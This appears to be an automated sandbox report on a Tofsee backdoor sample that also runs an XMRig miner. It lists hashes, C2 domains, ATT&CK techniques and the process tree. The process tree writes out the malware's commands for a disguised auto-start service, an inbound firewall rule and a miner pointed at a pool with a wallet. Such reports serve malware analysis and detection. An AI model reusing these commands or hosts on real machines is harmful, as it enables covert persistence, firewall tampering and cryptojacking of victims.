Analysis

  • max time kernel
    173s
  • max time network
    187s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    15-06-2022 04:19

General

  • Target

    deb228668163d4f4a6b71426590de2c1e7b4c06b4fdef5fc4c0e2d886eefb442.exe

  • Size

    249KB

  • MD5

    8529e819a7a785a836f80430db954f2d

  • SHA1

    9faaad4a21e0579353f6573b4b167f8820511e8f

  • SHA256

    deb228668163d4f4a6b71426590de2c1e7b4c06b4fdef5fc4c0e2d886eefb442

  • SHA512

    aa59668775413a6c8f57e6e15637bab5c2e18fcfdf0d0620cc7599e6b6af3dffac9c03d84c2238c79dea00a873463f8b70c9373c348cf54a72bc13d808d57635

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\deb228668163d4f4a6b71426590de2c1e7b4c06b4fdef5fc4c0e2d886eefb442.exe
    "C:\Users\Admin\AppData\Local\Temp\deb228668163d4f4a6b71426590de2c1e7b4c06b4fdef5fc4c0e2d886eefb442.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\usrdzdnm\
      2⤵
        PID:3388
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ugemhebi.exe" C:\Windows\SysWOW64\usrdzdnm\
        2⤵
          PID:2836
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create usrdzdnm binPath= "C:\Windows\SysWOW64\usrdzdnm\ugemhebi.exe /d\"C:\Users\Admin\AppData\Local\Temp\deb228668163d4f4a6b71426590de2c1e7b4c06b4fdef5fc4c0e2d886eefb442.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description usrdzdnm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start usrdzdnm
          2⤵
          • Launches sc.exe
          PID:4880
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3448
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4664 -s 592
          2⤵
          • Program crash
          PID:4952
      • C:\Windows\SysWOW64\usrdzdnm\ugemhebi.exe
        C:\Windows\SysWOW64\usrdzdnm\ugemhebi.exe /d"C:\Users\Admin\AppData\Local\Temp\deb228668163d4f4a6b71426590de2c1e7b4c06b4fdef5fc4c0e2d886eefb442.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:436
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4816
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3096
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 436 -s 544
          2⤵
          • Program crash
          PID:4272
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4664 -ip 4664
        1⤵
          PID:4348
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 436 -ip 436
          1⤵
            PID:4656

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ugemhebi.exe
            Filesize

            11.4MB

            MD5

            2ecacc80a063d66fc219dcff47bcb5e7

            SHA1

            c3caa17cd5147d14064a9ddece084ec9fb37e099

            SHA256

            143002e11f7024ca642f788979125b494349e43cb58bf9965b1c467d44f423e7

            SHA512

            5a1d8b459cce593544d92a5007c7ead6588891993330843a17c73abee7bde9dc9b10e365259b0672e8856aba14a9a2d7cdd00d6f3f575399b2b8025989c92aa5

          • C:\Windows\SysWOW64\usrdzdnm\ugemhebi.exe
            Filesize

            11.4MB

            MD5

            2ecacc80a063d66fc219dcff47bcb5e7

            SHA1

            c3caa17cd5147d14064a9ddece084ec9fb37e099

            SHA256

            143002e11f7024ca642f788979125b494349e43cb58bf9965b1c467d44f423e7

            SHA512

            5a1d8b459cce593544d92a5007c7ead6588891993330843a17c73abee7bde9dc9b10e365259b0672e8856aba14a9a2d7cdd00d6f3f575399b2b8025989c92aa5

          • memory/436-148-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/2836-134-0x0000000000000000-mapping.dmp
          • memory/3096-175-0x0000000000810000-0x0000000000901000-memory.dmp
            Filesize

            964KB

          • memory/3096-169-0x0000000000000000-mapping.dmp
          • memory/3096-170-0x0000000000810000-0x0000000000901000-memory.dmp
            Filesize

            964KB

          • memory/3212-137-0x0000000000000000-mapping.dmp
          • memory/3388-132-0x0000000000000000-mapping.dmp
          • memory/3448-140-0x0000000000000000-mapping.dmp
          • memory/4068-136-0x0000000000000000-mapping.dmp
          • memory/4664-133-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/4664-141-0x00000000008DD000-0x00000000008EB000-memory.dmp
            Filesize

            56KB

          • memory/4664-143-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/4664-142-0x00000000023A0000-0x00000000023B3000-memory.dmp
            Filesize

            76KB

          • memory/4664-130-0x00000000008DD000-0x00000000008EB000-memory.dmp
            Filesize

            56KB

          • memory/4664-131-0x00000000023A0000-0x00000000023B3000-memory.dmp
            Filesize

            76KB

          • memory/4816-144-0x0000000000000000-mapping.dmp
          • memory/4816-150-0x0000000000B50000-0x0000000000B65000-memory.dmp
            Filesize

            84KB

          • memory/4816-151-0x0000000002E00000-0x000000000300F000-memory.dmp
            Filesize

            2.1MB

          • memory/4816-154-0x00000000021C0000-0x00000000021C6000-memory.dmp
            Filesize

            24KB

          • memory/4816-157-0x00000000021D0000-0x00000000021E0000-memory.dmp
            Filesize

            64KB

          • memory/4816-160-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/4816-163-0x0000000007E40000-0x000000000824B000-memory.dmp
            Filesize

            4.0MB

          • memory/4816-166-0x00000000031E0000-0x00000000031E7000-memory.dmp
            Filesize

            28KB

          • memory/4816-149-0x0000000000B50000-0x0000000000B65000-memory.dmp
            Filesize

            84KB

          • memory/4816-145-0x0000000000B50000-0x0000000000B65000-memory.dmp
            Filesize

            84KB

          • memory/4880-138-0x0000000000000000-mapping.dmp